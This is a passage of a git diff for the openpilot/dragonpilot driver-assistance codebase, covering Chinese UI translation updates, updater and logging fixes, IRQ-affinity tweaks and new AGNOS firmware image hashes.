Wi-Fi - 连接到无线网络 + 连接到WiFi Install @@ -1447,15 +1156,15 @@ Reboot required. Back - 回上页 + 返回 Loading... - 载入中… + 正在加载…… Reboot - 重新启动 + 重启 Update failed @@ -1466,46 +1175,46 @@ Reboot required. WiFiPromptWidget Setup Wi-Fi - 设置 Wi-Fi + Connect to Wi-Fi to upload driving data and help improve openpilot - 连接到 Wi-Fi 上传驾驶数据,帮助改进 dragonpilot + Open Settings - 打开设置 + Uploading training data - 正在上传训练数据 + Your data is used to train driving models and help improve openpilot - 您的数据用于训练驾驶模型并帮助改进 dragonpilot + WifiUI Scanning for networks... - 扫描无线网路中... + 正在扫描网络…… CONNECTING... - 连线中... + 正在连接…… FORGET - 清除 + 忽略 Forget Wi-Fi Network "%1"? - 清除 Wi-Fi 网路 "%1"? + 忽略WiFi网络 "%1"? Forget - 清除 + 忽略 diff --git a/selfdrive/ui/translations/main_zh-CHT.ts b/selfdrive/ui/translations/main_zh-CHT.ts index cd163de06..4914eb5c8 100644 --- a/selfdrive/ui/translations/main_zh-CHT.ts +++ b/selfdrive/ui/translations/main_zh-CHT.ts @@ -392,6 +392,33 @@ Off - Does not emit any sound at all. 拒絕並解除安裝 %1 + + DestinationWidget + + Home + 住家 + + + Work + 工作 + + + No destination set + 尚未設定目的地 + + + No %1 location set + 尚未設定 %1 的位置 + + + home + 住家 + + + work + 工作 + + DevicePanel @@ -647,44 +674,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - 當前目的地 + NAVIGATION + 導航 - CLEAR - 清除 - - - Recent Destinations - 最近目的地 - - - Try the Navigation Beta - 試用導航功能 - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - 成為 comma 高級會員來使用導航功能 -立即註冊:https://connect.comma.ai - - - No home -location set - 未設定 -住家位置 - - - No work -location set - 未設定 -工作位置 - - - no recent destinations - 沒有最近的導航記錄 + Manage at connect.comma.ai + 請在 connect.comma.ai 上進行管理 @@ -697,6 +694,10 @@ location set Waiting for GPS 等待 GPS + + Waiting for route + + MultiOptionDialog @@ -728,6 +729,63 @@ location set 密碼錯誤 + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + 請立即連接網路檢查更新。如果不連接網路,openpilot 將在 %1 後便無法使用 + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + 請連接至網際網路以檢查更新。在連接至網際網路並完成更新檢查之前,openpilot 將不會自動啟動。 + + + Unable to download updates +%1 + 無法下載更新 +%1 + + + Invalid date and time settings, system won't start. Connect to internet to set time. + 日期和時間設定無效,系統無法啟動。請連接至網際網路以設定時間。 + + + Taking camera snapshots. System won't start until finished. + 正在使用相機拍攝中。在完成之前,系統將無法啟動。 + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + 一個給您設備的操作系統的更新正在後台下載中。當更新準備好安裝時,您將收到提示進行更新。 + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + 設備註冊失敗。它將無法連接或上傳至 comma.ai 伺服器,並且無法獲得 comma.ai 的支援。如果這是一個官方設備,請訪問 https://comma.ai/support 。 + + + NVMe drive not mounted. + NVMe 固態硬碟未被掛載。 + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + 檢測到不支援的 NVMe 固態硬碟。您的設備因為使用了不支援的 NVMe 固態硬碟可能會消耗更多電力並更易過熱。 + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + openpilot 無法識別您的車輛。您的車輛可能未被支援,或是其電控單元 (ECU) 未被識別。請提交一個 Pull Request 為您的車輛添加正確的固件版本。需要幫助嗎?請加入 discord.comma.ai 。 + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + openpilot 無法識別您的車輛。請檢查線路是否正確的安裝並確保所有的連接都牢固,特別是確保 comma power 完全插入車輛的 OBD-II 接口。需要幫助嗎?請加入 discord.comma.ai 。 + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + openpilot偵測到設備的安裝位置發生變化。請確保設備完全安裝在支架上,並確保支架牢固地固定在擋風玻璃上。 + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + 設備溫度過高。系統正在冷卻中,等冷卻完畢後才會啟動。目前內部組件溫度:%1 + + OffroadHome @@ -792,12 +850,16 @@ location set 遠程訪問 - 1 year of storage - 一年的雲端行車記錄 + 24/7 LTE connectivity + 24/7 LTE 連線 - Developer perks - 開發者福利 + Turn-by-turn navigation + 導航功能 + + + 1 year of drive storage + 一年的行駛記錄儲存空間 @@ -876,16 +938,17 @@ location set Unable to mount data partition. Partition may be corrupted. Press confirm to erase and reset your device. - 無法掛載資料分割區 分割區可能已經毀損 請確認是否要刪除並重新設定 + 無法掛載資料分割區。分割區可能已經毀損。請確認是否要刪除並重新設定。 Press confirm to erase all content and settings. Press cancel to resume boot. - 按下確認以刪除所有內容及設定 按下取消來繼續開機 + 按下確認以刪除所有內容及設定。按下取消來繼續開機。 Resetting device... This may take up to a minute. - 設備重置中 此過程可能需要幾分鐘 + 設備重置中… +這可能需要一分鐘的時間。 @@ -910,10 +973,6 @@ This may take up to a minute. Software 軟體 - - Navigation - 導航 - Vehicle Model: 車輛型號: @@ -995,11 +1054,11 @@ This may take up to a minute. No custom software found at this URL. - 無法在此URL找到定制的軟體 + 在此網址找不到自訂軟體。 Something went wrong. Reboot the device. - 發生了一些錯誤 請重新啟動您的設備 + 發生了一些錯誤。請重新啟動您的設備。 @@ -1160,7 +1219,7 @@ This may take up to a minute. up to date, last checked %1 - 已是最新版本,上次檢查時間:%1 + 已經是最新版本,上次檢查時間為 %1 DOWNLOAD @@ -1328,27 +1387,19 @@ This may take up to a minute. openpilot longitudinal control may come in a future update. - 未來可能會推出 dragonpilot 縱向控制 - - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - 在非發行分支中 可找到包含實驗模式的 dragonpilot 縱向控制測試版本 - - - Enable experimental longitudinal control to allow Experimental mode. - 啟用實驗性縱向控制以使用實驗模式。 + openpilot 縱向控制可能會在未來的更新中提供。 openpilot Longitudinal Control (Alpha) - dragonpilot 縱向控制(Alpha 版) + openpilot 縱向控制 (Alpha 版) WARNING: openpilot longitudinal control is in alpha for this car and will disable Automatic Emergency Braking (AEB). - 警告: dragonpilot 縱向控制對於此車輛處於測試階段(Alpha 版),並將停用自動緊急制動(AEB)。 + 警告:此車輛的 Openpilot 縱向控制功能目前處於 Alpha 版本,使用此功能將會停用自動緊急制動(AEB)功能。 On this car, openpilot defaults to the car's built-in ACC instead of openpilot's longitudinal control. Enable this to switch to openpilot longitudinal control. Enabling Experimental mode is recommended when enabling openpilot longitudinal control alpha. - 在這輛車上,dragonpilot 默認使用車輛內置的 ACC 而不是 dragonpilot 的縱向控制。啟用此選項以切換至 dragonpilot 的縱向控制。建議在啟用 dragonpilot 縱向控制 Alpha 版時啟用實驗模式。 + 在這輛車上,Openpilot 預設使用車輛內建的主動巡航控制(ACC),而非 Openpilot 的縱向控制。啟用此項功能可切換至 Openpilot 的縱向控制。當啟用 Openpilot 縱向控制 Alpha 版本時,建議同時啟用實驗性模式(Experimental mode)。 Aggressive @@ -1366,6 +1417,26 @@ This may take up to a minute. Driving Personality 駕駛風格 + + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. + 推薦使用標準模式。在積極模式中,openpilot 會更靠近前車並在加速和剎車方面更積極。在舒適模式中,openpilot 會與前車保持較遠的距離。 + + + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. + 在正式 (release) 版以外的分支上可以測試 openpilot 縱向控制的 Alpha 版本,以及實驗模式。 + + + Navigate on openpilot + + + + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + + + + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. + + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. 推薦使用標準模式。在積極模式下,dragonpilot 將更緊密地跟隨前車,並更積極的控制油門和剎車。 @@ -1466,15 +1537,15 @@ Reboot required. WiFiPromptWidget Setup Wi-Fi - 設置 Wi-Fi + 設置 Wi-Fi 連接 Connect to Wi-Fi to upload driving data and help improve openpilot - 連接到 Wi-Fi 上傳駕駛數據,幫助改進 dragonpilot + 請連接至 Wi-Fi 以上傳駕駛數據,並協助改進 openpilot Open Settings - 打開設置 + 開啟設置 Uploading training data @@ -1482,7 +1553,7 @@ Reboot required. Your data is used to train driving models and help improve openpilot - 您的數據用於訓練駕駛模型並幫助改進 dragonpilot + 您的數據將用於訓練駕駛模型並協助改進 openpilot diff --git a/selfdrive/ui/update_translations.py b/selfdrive/ui/update_translations.py index b0af9dd64..0a2a18a77 100755 --- a/selfdrive/ui/update_translations.py +++ b/selfdrive/ui/update_translations.py @@ -13,9 +13,23 @@ except Exception: UI_DIR = os.path.join(BASEDIR, "selfdrive", "ui") TRANSLATIONS_DIR = os.path.join(UI_DIR, "translations") LANGUAGES_FILE = os.path.join(TRANSLATIONS_DIR, "languages.json") +TRANSLATIONS_INCLUDE_FILE = os.path.join(TRANSLATIONS_DIR, "alerts_generated.h") +def generate_translations_include(): + # offroad alerts + # TODO translate events from selfdrive/controls/lib/events.py + content = "// THIS IS AN AUTOGENERATED FILE, PLEASE EDIT alerts_offroad.json\n" + with open(os.path.join(BASEDIR, "selfdrive/controls/lib/alerts_offroad.json")) as f: + for alert in json.load(f).values(): + content += f'QT_TRANSLATE_NOOP("OffroadAlert", R"({alert["text"]})");\n' + + with open(TRANSLATIONS_INCLUDE_FILE, "w") as f: + f.write(content) + def update_translations(vanish=False, plural_only=None, translations_dir=TRANSLATIONS_DIR): + generate_translations_include() + if plural_only is None: plural_only = [] diff --git a/selfdrive/updated.py b/selfdrive/updated.py index 62a5ed3bd..e321eaa0c 100755 --- a/selfdrive/updated.py +++ b/selfdrive/updated.py @@ -16,6 +16,7 @@ from markdown_it import MarkdownIt from common.basedir import BASEDIR from common.params import Params +from common.time import system_time_valid from system.hardware import AGNOS, HARDWARE, EON from system.swaglog import cloudlog from selfdrive.controls.lib.alertmanager import set_offroad_alert @@ -282,14 +283,14 @@ class Updater: def get_commit_hash(self, path: str = OVERLAY_MERGED) -> str: return run(["git", "rev-parse", "HEAD"], path).rstrip() - def set_params(self, failed_count: int, exception: Optional[str]) -> None: + def set_params(self, update_success: bool, failed_count: int, exception: Optional[str]) -> None: self.params.put("UpdateFailedCount", str(failed_count)) self.params.put_bool("UpdaterFetchAvailable", self.update_available) self.params.put("UpdaterAvailableBranches", ','.join(self.branches.keys())) last_update = datetime.datetime.utcnow() - if failed_count == 0: + if update_success: t = last_update.isoformat() self.params.put("LastUpdateTime", t.encode('utf8')) else: @@ -343,11 +344,12 @@ class Updater: else: extra_text = exception set_offroad_alert("Offroad_UpdateFailed", True, extra_text=extra_text) - elif dt.days > DAYS_NO_CONNECTIVITY_MAX and failed_count > 1: - set_offroad_alert("Offroad_ConnectivityNeeded", True) - elif dt.days > DAYS_NO_CONNECTIVITY_PROMPT: - remaining = max(DAYS_NO_CONNECTIVITY_MAX - dt.days, 1) - set_offroad_alert("Offroad_ConnectivityNeededPrompt", True, extra_text=f"{remaining} day{'' if remaining == 1 else 's'}.") + elif failed_count > 0: + if dt.days > DAYS_NO_CONNECTIVITY_MAX: + set_offroad_alert("Offroad_ConnectivityNeeded", True) + elif dt.days > DAYS_NO_CONNECTIVITY_PROMPT: + remaining = max(DAYS_NO_CONNECTIVITY_MAX - dt.days, 1) + set_offroad_alert("Offroad_ConnectivityNeededPrompt", True, extra_text=f"{remaining} day{'' if remaining == 1 else 's'}.") def check_for_update(self) -> None: cloudlog.info("checking for updates") @@ -425,7 +427,7 @@ def main() -> None: exception = None if params.get_bool("DisableUpdates"): - updater.set_params(update_failed_count, exception) + updater.set_params(False, update_failed_count, exception) cloudlog.warning("updates are disabled by the DisableUpdates param") exit(0) @@ -448,6 +450,9 @@ def main() -> None: t = datetime.datetime.utcnow().isoformat() params.put("InstallDate", t.encode('utf8')) + # updater = Updater() + # update_failed_count = 0 # TODO: Load from param? + # no fetch on the first time wait_helper = WaitTimeHelper() wait_helper.only_check_for_update = True @@ -460,12 +465,18 @@ def main() -> None: wait_helper.ready_event.clear() # Attempt an update + # exception = None try: # TODO: reuse overlay from previous updated instance if it looks clean init_overlay() # ensure we have some params written soon after startup - updater.set_params(update_failed_count, exception) + updater.set_params(False, update_failed_count, exception) + + if not system_time_valid(): + wait_helper.sleep(60) + continue + update_failed_count += 1 # check for update @@ -494,7 +505,8 @@ def main() -> None: try: params.put("UpdaterState", "idle") - updater.set_params(update_failed_count, exception) + update_successful = (update_failed_count == 0) + updater.set_params(update_successful, update_failed_count, exception) except Exception: cloudlog.exception("uncaught updated exception while setting params, shouldn't happen") diff --git a/system/camerad/cameras/camera_common.h b/system/camerad/cameras/camera_common.h index 07d1291a2..3e56f5690 100644 --- a/system/camerad/cameras/camera_common.h +++ b/system/camerad/cameras/camera_common.h @@ -53,7 +53,6 @@ typedef struct CameraInfo { typedef struct FrameMetadata { uint32_t frame_id; - unsigned int frame_length; // Timestamps uint64_t timestamp_sof; // only set on tici @@ -91,8 +90,6 @@ public: std::unique_ptr camera_bufs_metadata; int rgb_width, rgb_height, rgb_stride; - mat3 yuv_transform; - CameraBuf() = default; ~CameraBuf(); void init(cl_device_id device_id, cl_context context, CameraState *s, VisionIpcServer * v, int frame_cnt, VisionStreamType yuv_type); diff --git a/system/clocksd/clocksd b/system/clocksd/clocksd index efa479b18..08638a47d 100755 Binary files a/system/clocksd/clocksd and b/system/clocksd/clocksd differ diff --git a/system/hardware/eon/libs/libgfortran.tar.gz b/system/hardware/eon/libs/libgfortran.tar.gz new file mode 100644 index 000000000..25fccd019 Binary files /dev/null and b/system/hardware/eon/libs/libgfortran.tar.gz differ diff --git a/system/hardware/tici/agnos.json b/system/hardware/tici/agnos.json index 6730f8270..90933e8fe 100644 --- a/system/hardware/tici/agnos.json +++ b/system/hardware/tici/agnos.json @@ -1,19 +1,19 @@ [ { "name": "boot", - "url": "https://commadist.azureedge.net/agnosupdate/boot-7d953f5e1bc606984e4d49c6f957421a4172f72b4ebd359baa689ef43b7e911c.img.xz", - "hash": "7d953f5e1bc606984e4d49c6f957421a4172f72b4ebd359baa689ef43b7e911c", - "hash_raw": "7d953f5e1bc606984e4d49c6f957421a4172f72b4ebd359baa689ef43b7e911c", - "size": 15153152, + "url": "https://commadist.azureedge.net/agnosupdate/boot-8d8d8620de8b2687f3a8fffdb81b2abd1fe2ead5bc831361a1a212e5589ac279.img.xz", + "hash": "8d8d8620de8b2687f3a8fffdb81b2abd1fe2ead5bc831361a1a212e5589ac279", + "hash_raw": "8d8d8620de8b2687f3a8fffdb81b2abd1fe2ead5bc831361a1a212e5589ac279", + "size": 15636480, "sparse": false, "full_check": true, "has_ab": true }, { "name": "abl", - "url": "https://commadist.azureedge.net/agnosupdate/abl-50329ac734ff7a6c20c3f552dce9b13f84b3eb2e73faa64b9810049d9b406602.img.xz", - "hash": "50329ac734ff7a6c20c3f552dce9b13f84b3eb2e73faa64b9810049d9b406602", - "hash_raw": "50329ac734ff7a6c20c3f552dce9b13f84b3eb2e73faa64b9810049d9b406602", + "url": "https://commadist.azureedge.net/agnosupdate/abl-0084fcf79fea067632a1c2d9519b6445ad484aa8b09f49f22e6b45b4dccacd2d.img.xz", + "hash": "0084fcf79fea067632a1c2d9519b6445ad484aa8b09f49f22e6b45b4dccacd2d", + "hash_raw": "0084fcf79fea067632a1c2d9519b6445ad484aa8b09f49f22e6b45b4dccacd2d", "size": 274432, "sparse": false, "full_check": true, @@ -21,9 +21,9 @@ }, { "name": "xbl", - "url": "https://commadist.azureedge.net/agnosupdate/xbl-dc297986b38f50c47584bd8549b188b37b1d6a0c77b3255859dd675c177b5c15.img.xz", - "hash": "dc297986b38f50c47584bd8549b188b37b1d6a0c77b3255859dd675c177b5c15", - "hash_raw": "dc297986b38f50c47584bd8549b188b37b1d6a0c77b3255859dd675c177b5c15", + "url": "https://commadist.azureedge.net/agnosupdate/xbl-942b9b2914d89c2a70fdf27380b59e04b549ac2fd53ecb29d6549d1a9c8daeaa.img.xz", + "hash": "942b9b2914d89c2a70fdf27380b59e04b549ac2fd53ecb29d6549d1a9c8daeaa", + "hash_raw": "942b9b2914d89c2a70fdf27380b59e04b549ac2fd53ecb29d6549d1a9c8daeaa", "size": 3282672, "sparse": false, "full_check": true, @@ -31,9 +31,9 @@ }, { "name": "xbl_config", - "url": "https://commadist.azureedge.net/agnosupdate/xbl_config-b73fbbb42934aabc6d4f16ce84ac6c8c0205bc70e0a85412a771f3cc1d62cc40.img.xz", - "hash": "b73fbbb42934aabc6d4f16ce84ac6c8c0205bc70e0a85412a771f3cc1d62cc40", - "hash_raw": "b73fbbb42934aabc6d4f16ce84ac6c8c0205bc70e0a85412a771f3cc1d62cc40", + "url": "https://commadist.azureedge.net/agnosupdate/xbl_config-6881d94599f65d94c13bcc0bd860184dfba2dfe96ec776d08fb35ac5b5f85bbf.img.xz", + "hash": "6881d94599f65d94c13bcc0bd860184dfba2dfe96ec776d08fb35ac5b5f85bbf", + "hash_raw": "6881d94599f65d94c13bcc0bd860184dfba2dfe96ec776d08fb35ac5b5f85bbf", "size": 98124, "sparse": false, "full_check": true, @@ -41,9 +41,9 @@ }, { "name": "devcfg", - "url": "https://commadist.azureedge.net/agnosupdate/devcfg-2d3063d106813006ac9ceeaf8818a31d4b33996873e81178ac5129f5e1b82bca.img.xz", - "hash": "2d3063d106813006ac9ceeaf8818a31d4b33996873e81178ac5129f5e1b82bca", - "hash_raw": "2d3063d106813006ac9ceeaf8818a31d4b33996873e81178ac5129f5e1b82bca", + "url": "https://commadist.azureedge.net/agnosupdate/devcfg-9bbf168baff6101f4890c5c95c118e30813c2610cfb35b8e19e363f04a32a262.img.xz", + "hash": "9bbf168baff6101f4890c5c95c118e30813c2610cfb35b8e19e363f04a32a262", + "hash_raw": "9bbf168baff6101f4890c5c95c118e30813c2610cfb35b8e19e363f04a32a262", "size": 40336, "sparse": false, "full_check": true, @@ -51,9 +51,9 @@ }, { "name": "aop", - "url": "https://commadist.azureedge.net/agnosupdate/aop-d69450d5438b3e5e2ba5b77db1ae49e1cf9cab17836f563aa57192b5b3a4ac3e.img.xz", - "hash": "d69450d5438b3e5e2ba5b77db1ae49e1cf9cab17836f563aa57192b5b3a4ac3e", - "hash_raw": "d69450d5438b3e5e2ba5b77db1ae49e1cf9cab17836f563aa57192b5b3a4ac3e", + "url": "https://commadist.azureedge.net/agnosupdate/aop-c1d9d712980f6b2a4b12196597f4d1bf3fe4fec6c59edf29ae63ef21f11b8222.img.xz", + "hash": "c1d9d712980f6b2a4b12196597f4d1bf3fe4fec6c59edf29ae63ef21f11b8222", + "hash_raw": "c1d9d712980f6b2a4b12196597f4d1bf3fe4fec6c59edf29ae63ef21f11b8222", "size": 184364, "sparse": false, "full_check": true, @@ -61,9 +61,9 @@ }, { "name": "system", - "url": "https://commadist.azureedge.net/agnosupdate/system-4a8311dd591006e0c2a6f60060d6ef579ceec9b3d688e8438a9aef4e230ae028.img.xz", - "hash": "23c9f111f81fc3ee83f85016cb320e03a46aad6721a85e1b4a3f04b6a764e934", - "hash_raw": "4a8311dd591006e0c2a6f60060d6ef579ceec9b3d688e8438a9aef4e230ae028", + "url": "https://commadist.azureedge.net/agnosupdate/system-e1fa3018bce9bad01c6967e5e21f1141cf5c8f02d2edfaed51c738f74a32a432.img.xz", + "hash": "611011f3e3f147bc24f371105a9dd3760ec11ba424c56d4a442a66b098c784c0", + "hash_raw": "e1fa3018bce9bad01c6967e5e21f1141cf5c8f02d2edfaed51c738f74a32a432", "size": 10737418240, "sparse": true, "full_check": false, diff --git a/system/hardware/tici/hardware.py b/system/hardware/tici/hardware.py index d52710e95..018bc3000 100644 --- a/system/hardware/tici/hardware.py +++ b/system/hardware/tici/hardware.py @@ -8,7 +8,7 @@ from functools import cached_property, lru_cache from pathlib import Path from cereal import log -from common.gpio import gpio_set, gpio_init, get_irq_for_action +from common.gpio import gpio_set, gpio_init, get_irqs_for_action from system.hardware.base import HardwareBase, ThermalConfig from system.hardware.tici import iwlist from system.hardware.tici.pins import GPIO @@ -61,17 +61,27 @@ MM_MODEM_ACCESS_TECHNOLOGY_LTE = 1 << 14 def sudo_write(val, path): - os.system(f"sudo su -c 'echo {val} > {path}'") + try: + with open(path, 'w') as f: + f.write(str(val)) + except PermissionError: + os.system(f"sudo chmod a+w {path}") + try: + with open(path, 'w') as f: + f.write(str(val)) + except PermissionError: + # fallback for debugfs files + os.system(f"sudo su -c 'echo {val} > {path}'") def affine_irq(val, action): - irq = get_irq_for_action(action) - if len(irq) == 0: + irqs = get_irqs_for_action(action) + if len(irqs) == 0: print(f"No IRQs found for '{action}'") return - for i in irq: - sudo_write(str(val), f"/proc/irq/{i}/smp_affinity_list") + for i in irqs: + sudo_write(str(val), f"/proc/irq/{i}/smp_affinity_list") class Tici(HardwareBase): @cached_property @@ -106,8 +116,10 @@ class Tici(HardwareBase): return model def get_sound_card_online(self): - return (os.path.isfile('/proc/asound/card0/state') and - open('/proc/asound/card0/state').read().strip() == 'ONLINE') + if os.path.isfile('/proc/asound/card0/state'): + with open('/proc/asound/card0/state') as f: + return f.read().strip() == 'ONLINE' + return False def reboot(self, reason=None): subprocess.check_output(["sudo", "reboot"]) @@ -436,23 +448,24 @@ class Tici(HardwareBase): # *** IRQ config *** - # GPU - affine_irq(5, "kgsl-3d0") - # boardd core affine_irq(4, "spi_geni") # SPI affine_irq(4, "xhci-hcd:usb3") # aux panda USB (or potentially anything else on USB) if "tici" in self.get_device_type(): - affine_irq(4, "xhci-hcd:usb1") # internal panda USB + affine_irq(4, "xhci-hcd:usb1") # internal panda USB (also modem) + + # GPU + affine_irq(5, "kgsl-3d0") # camerad core - camera_irqs = ("cci", "cpas_camnoc", "cpas-cdm", "csid", "ife", "csid", "csid-lite", "ife-lite") + camera_irqs = ("cci", "cpas_camnoc", "cpas-cdm", "csid", "ife", "csid-lite", "ife-lite") for n in camera_irqs: affine_irq(5, n) def get_gpu_usage_percent(self): try: - used, total = open('/sys/class/kgsl/kgsl-3d0/gpubusy').read().strip().split() + with open('/sys/class/kgsl/kgsl-3d0/gpubusy') as f: + used, total = f.read().strip().split() return 100.0 * int(used) / int(total) except Exception: return 0 @@ -469,14 +482,14 @@ class Tici(HardwareBase): # *** IRQ config *** - # move these off the default core - affine_irq(1, "msm_drm") - affine_irq(1, "msm_vidc") - affine_irq(1, "i2c_geni") - # mask off big cluster from default affinity sudo_write("f", "/proc/irq/default_smp_affinity") + # move these off the default core + affine_irq(1, "msm_drm") # display + affine_irq(1, "msm_vidc") # encoders + affine_irq(1, "i2c_geni") # sensors + # *** GPU config *** # https://github.com/commaai/agnos-kernel-sdm845/blob/master/arch/arm64/boot/dts/qcom/sdm845-gpu.dtsi#L216 sudo_write("1", "/sys/class/kgsl/kgsl-3d0/min_pwrlevel") @@ -484,7 +497,7 @@ class Tici(HardwareBase): sudo_write("1", "/sys/class/kgsl/kgsl-3d0/force_bus_on") sudo_write("1", "/sys/class/kgsl/kgsl-3d0/force_clk_on") sudo_write("1", "/sys/class/kgsl/kgsl-3d0/force_rail_on") - sudo_write("1000000", "/sys/class/kgsl/kgsl-3d0/idle_timer") + sudo_write("1000", "/sys/class/kgsl/kgsl-3d0/idle_timer") sudo_write("performance", "/sys/class/kgsl/kgsl-3d0/devfreq/governor") sudo_write("596", "/sys/class/kgsl/kgsl-3d0/max_clock_mhz") diff --git a/system/logcatd/logcatd b/system/logcatd/logcatd index af9d6070a..e82e29432 100755 Binary files a/system/logcatd/logcatd and b/system/logcatd/logcatd differ diff --git a/system/logmessaged.py b/system/logmessaged.py index 280a23cf1..04101d042 100755 --- a/system/logmessaged.py +++ b/system/logmessaged.py @@ -12,7 +12,7 @@ def main() -> NoReturn: log_handler.setFormatter(SwagLogFileFormatter(None)) log_level = 20 # logging.INFO - ctx = zmq.Context().instance() + ctx = zmq.Context.instance() sock = ctx.socket(zmq.PULL) sock.bind("ipc:///tmp/logmessage") @@ -20,23 +20,37 @@ def main() -> NoReturn: log_message_sock = messaging.pub_sock('logMessage') error_log_message_sock = messaging.pub_sock('errorLogMessage') - while True: - dat = b''.join(sock.recv_multipart()) - level = dat[0] - record = dat[1:].decode("utf-8") - if level >= log_level: - log_handler.emit(record) + try: + while True: + dat = b''.join(sock.recv_multipart()) + level = dat[0] + record = dat[1:].decode("utf-8") + if level >= log_level: + log_handler.emit(record) - # then we publish them - msg = messaging.new_message() - msg.logMessage = record - log_message_sock.send(msg.to_bytes()) + if len(record) > 2*1024*1024: + print("WARNING: log too big to publish", len(record)) + print(print(record[:100])) + continue - if level >= 40: # logging.ERROR + # then we publish them msg = messaging.new_message() - msg.errorLogMessage = record - error_log_message_sock.send(msg.to_bytes()) + msg.logMessage = record + log_message_sock.send(msg.to_bytes()) + if level >= 40: # logging.ERROR + msg = messaging.new_message() + msg.errorLogMessage = record + error_log_message_sock.send(msg.to_bytes()) + finally: + sock.close() + ctx.term() + + # can hit this if interrupted during a rollover + try: + log_handler.close() + except ValueError: + pass if __name__ == "__main__": main() diff --git a/system/proclogd/proclogd b/system/proclogd/proclogd index c3fa92897..d8bd1ef3e 100755 Binary files a/system/proclogd/proclogd and b/system/proclogd/proclogd differ diff --git a/system/sensord/_sensord b/system/sensord/_sensord index 9cdbbe3cc..652735881 100755 Binary files a/system/sensord/_sensord and b/system/sensord/_sensord differ diff --git a/system/swaglog.py b/system/swaglog.py index 68664330a..28beb5a4d 100644 --- a/system/swaglog.py +++ b/system/swaglog.py @@ -1,6 +1,7 @@ import logging import os import time +import warnings from pathlib import Path from logging.handlers import BaseRotatingHandler @@ -72,6 +73,15 @@ class UnixDomainSocketHandler(logging.Handler): self.setFormatter(formatter) self.pid = None + self.zctx = None + self.sock = None + + def __del__(self): + if self.sock is not None: + self.sock.close() + if self.zctx is not None: + self.zctx.term() + def connect(self): self.zctx = zmq.Context() self.sock = self.zctx.socket(zmq.PUSH) @@ -81,6 +91,8 @@ class UnixDomainSocketHandler(logging.Handler): def emit(self, record): if os.getpid() != self.pid: + # TODO suppresses warning about forking proc with zmq socket, fix root cause + warnings.filterwarnings("ignore", category=ResourceWarning, message="unclosed.*") self.connect() msg = self.format(record).rstrip('\n') diff --git a/system/ubloxd/ubloxd b/system/ubloxd/ubloxd index f980e11fa..5f7a2427c 100755 Binary files a/system/ubloxd/ubloxd and b/system/ubloxd/ubloxd differ diff --git a/third_party/acados/.gitignore b/third_party/acados/.gitignore new file mode 100644 index 000000000..68858c62e --- /dev/null +++ b/third_party/acados/.gitignore @@ -0,0 +1,5 @@ +acados_repo/ +lib +!x86_64/ +!larch64/ +!aarch64/ diff --git a/third_party/acados/acados_template/__pycache__/__init__.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 000000000..e67815b01 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/__init__.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/acados_model.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/acados_model.cpython-38.pyc new file mode 100644 index 000000000..e722522fc Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/acados_model.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/acados_ocp.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/acados_ocp.cpython-38.pyc new file mode 100644 index 000000000..a8ecfde7d Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/acados_ocp.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/acados_ocp_solver.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/acados_ocp_solver.cpython-38.pyc new file mode 100644 index 000000000..d4a7e54bd Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/acados_ocp_solver.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/acados_sim.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/acados_sim.cpython-38.pyc new file mode 100644 index 000000000..5a69e0ba7 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/acados_sim.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/acados_sim_solver.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/acados_sim_solver.cpython-38.pyc new file mode 100644 index 000000000..5bc222d54 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/acados_sim_solver.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/builders.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/builders.cpython-38.pyc new file mode 100644 index 000000000..5d8a69beb Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/builders.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_constraint.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_constraint.cpython-38.pyc new file mode 100644 index 000000000..13e6df8f7 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_constraint.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_discrete_dynamics.cpython-38.pyc 